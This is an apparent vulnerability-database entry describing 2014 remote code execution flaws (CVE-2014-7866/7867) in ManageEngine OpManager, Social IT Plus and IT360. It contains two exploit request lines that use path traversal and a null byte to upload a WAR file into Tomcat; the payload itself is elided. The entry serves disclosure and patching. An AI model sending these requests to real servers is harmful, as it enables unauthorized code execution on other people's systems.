vendor:
OpManager, Social IT Plus and IT360
by:
Pedro Ribeiro
8,5
CVSS
HIGH
Remote code execution via file upload
78, 94
CWE
Product Name: OpManager, Social IT Plus and IT360
Affected Version From: OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0
Affected Version To: OpManager v8 build 88XX to 11.4; IT360 10.3/10.4; Social IT 11.0
Patch Exists: YES
Related CWE: CVE-2014-7866, CVE-2014-7867
CPE: a:manageengine:opmanager
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: Unknown
2014
Multiple vulnerabilities in ManageEngine OpManager, Social IT Plus and IT360
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00 <... WAR file payload ...> and POST /servlet/MigrateCentralData?operatiom=upload&fileName=../tomcat/webapps/warfile.war%00 <... WAR file payload ...>
Mitigation:
Update to the latest version of ManageEngine OpManager, Social IT Plus and IT360
